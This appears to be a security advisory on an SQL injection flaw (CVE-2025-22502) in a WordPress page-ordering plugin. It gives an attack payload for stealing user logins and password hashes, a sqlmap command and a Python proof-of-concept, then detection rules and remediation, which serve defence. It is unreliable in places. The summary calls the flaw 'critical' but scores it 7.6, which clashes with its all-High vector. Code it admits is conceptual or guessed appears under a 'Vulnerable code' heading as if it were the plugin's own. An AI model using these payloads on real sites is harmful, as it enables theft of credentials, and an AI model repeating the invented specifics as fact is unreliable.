CVE-2025-22502

Executive Summary

CVE-2025-22502 is a critical SQL Injection vulnerability in the WordPress plugin MindValley Super PageMash (slug: mindvalley-pagemash), affecting versions up to and including 1.1. The vulnerability allows unauthenticated attackers to inject arbitrary SQL commands via improperly neutralized special elements in input fields. Given the CVSS score of 7.6 (High) and the lack of a known patch, this poses a significant risk to any WordPress site running the plugin. Attackers can exploit this to extract sensitive data, modify database contents, or potentially achieve remote code execution through stacked queries.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed through the official WordPress plugin repository and third-party marketplaces. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems. However, as a WordPress plugin, it is part of the WordPress supply chain. Administrators should verify the plugin's integrity by checking checksums from the WordPress.org repository and monitor for any unauthorized modifications. Since no patch is available, the only supply chain mitigation is to remove or disable the plugin entirely.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability cannot cause scope change.
• Confidentiality (C): High (H) – Full database read access possible.
• Integrity (I): High (H) – Database records can be modified.
• Availability (A): High (H) – Potential for denial of service via destructive queries.

Threat Level: High. The combination of network exploitability, no authentication, and high impact makes this a priority for immediate remediation.

Deep Dive & Mechanics

The vulnerability stems from the plugin's failure to sanitize user-supplied input before incorporating it into SQL queries. The Super PageMash plugin likely processes parameters such as page_id, category, or search terms without proper escaping or parameterized queries. An attacker can inject SQL metacharacters (e.g., single quote ', double dash --, or UNION) to alter the query logic.

Example vulnerable code pattern (conceptual):

$id = $_GET['page_id'];
$query = "SELECT * FROM wp_posts WHERE ID = $id";
$result = $wpdb->get_results($query);

Exploitation flow:

1. Attacker sends a crafted HTTP request to a WordPress endpoint that uses the plugin.
2. The payload is injected into an SQL query, e.g., 1 UNION SELECT user_login, user_pass FROM wp_users.
3. The database returns sensitive data, which is then displayed or logged.

Vulnerable vs. Patched Code

Vulnerable code (mindvalley-pagemash <= 1.1):

// No input sanitization
$page_id = $_GET['page_id'];
$sql = "SELECT * FROM wp_posts WHERE ID = " . $page_id;
$results = $wpdb->get_results($sql);

Patched code (hypothetical):

// Use prepared statements
$page_id = intval($_GET['page_id']);
$sql = $wpdb->prepare("SELECT * FROM wp_posts WHERE ID = %d", $page_id);
$results = $wpdb->get_results($sql);

Since no official patch exists, the above represents the required fix.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• WordPress 6.x with MindValley Super PageMash 1.1 installed.
• Local server (e.g., XAMPP, Docker) with MySQL database.

Exploitation Steps:

1. Identify vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=super_pagemash&page_id=1).
2. Inject SQL payload:

   1 UNION SELECT user_login, user_pass FROM wp_users--
   

3. Use sqlmap for automated exploitation:

   sqlmap -u "http://target/wp-admin/admin-ajax.php?action=super_pagemash&page_id=1" --batch --dbs
   

Proof-of-Concept (PoC) script (Python):

import requests

target = "http://target/wp-admin/admin-ajax.php"
params = {
    "action": "super_pagemash",
    "page_id": "1 UNION SELECT user_login, user_pass FROM wp_users--"
}
response = requests.get(target, params=params)
print(response.text)

Blue Team (Defensive)

Detection:

• Monitor for SQL injection patterns in HTTP requests (e.g., ' OR 1=1--, UNION SELECT).
• Use WAF rules to block suspicious query strings.

Honeypot:

• Deploy a fake WordPress instance with the vulnerable plugin to capture attacker behavior.

Log Analysis:

• Check web server logs for requests containing SQL keywords in parameters.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests with parameters containing SQL keywords (UNION, SELECT, --, ').
  • Unusual database error messages in HTTP responses (e.g., You have an error in your SQL syntax).

• File IOCs:

  • Modified plugin files (check file integrity via WordPress checksums).
  • Suspicious PHP files in wp-content/uploads/ or wp-content/plugins/mindvalley-pagemash/.

• Database IOCs:

  • Unexpected entries in wp_options or wp_users tables.
  • New admin users created via SQL injection.

Detection Engineering

YARA Rule

rule CVE_2025_22502_SQLi_WordPress {
    meta:
        description = "Detects SQL injection attempts targeting MindValley Super PageMash plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-22502"
    strings:
        $s1 = "UNION" nocase
        $s2 = "SELECT" nocase
        $s3 = "FROM" nocase
        $s4 = "wp_users" nocase
        $s5 = "page_id=" nocase
    condition:
        all of ($s1, $s2, $s3) and any of ($s4, $s5)
}

Sigma Rule

title: SQL Injection Attempt Against MindValley Super PageMash
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection patterns in HTTP requests targeting the Super PageMash plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - "page_id="
            - "UNION"
            - "SELECT"
            - "1=1"
            - "--"
    condition: selection
falsepositives:
    - Legitimate use of SQL keywords in search queries (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-22502 SQL Injection Attempt"; flow:to_server,established; content:"page_id="; nocase; content:"UNION"; nocase; distance:0; content:"SELECT"; nocase; distance:0; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable or remove the MindValley Super PageMash plugin from all WordPress installations.
2. Scan the WordPress database for signs of compromise (e.g., new admin users, modified posts).
3. Update WordPress core and all other plugins to the latest versions.

Long-term Mitigation:

• Implement a Web Application Firewall (WAF) with SQL injection rules.
• Enforce parameterized queries in all custom plugins.
• Regularly audit WordPress plugins for vulnerabilities.

Vendor Contact:

• Since the vendor status is unknown, consider reaching out to Mindvalley directly or filing a report with the WordPress Plugin Security Team.

Valters IT